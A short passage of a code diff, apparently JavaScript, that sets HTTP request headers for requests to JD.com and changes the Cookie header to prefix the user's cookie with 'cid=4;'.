Gecko) Mobile/15E148;supportJDSHWK/1"), "Accept-Language": "zh-CN,zh-Hans;q=0.9", "Referer": "https://wqs.jd.com/", - "Cookie": cookie + "Cookie": `cid=4;${cookie}` } } }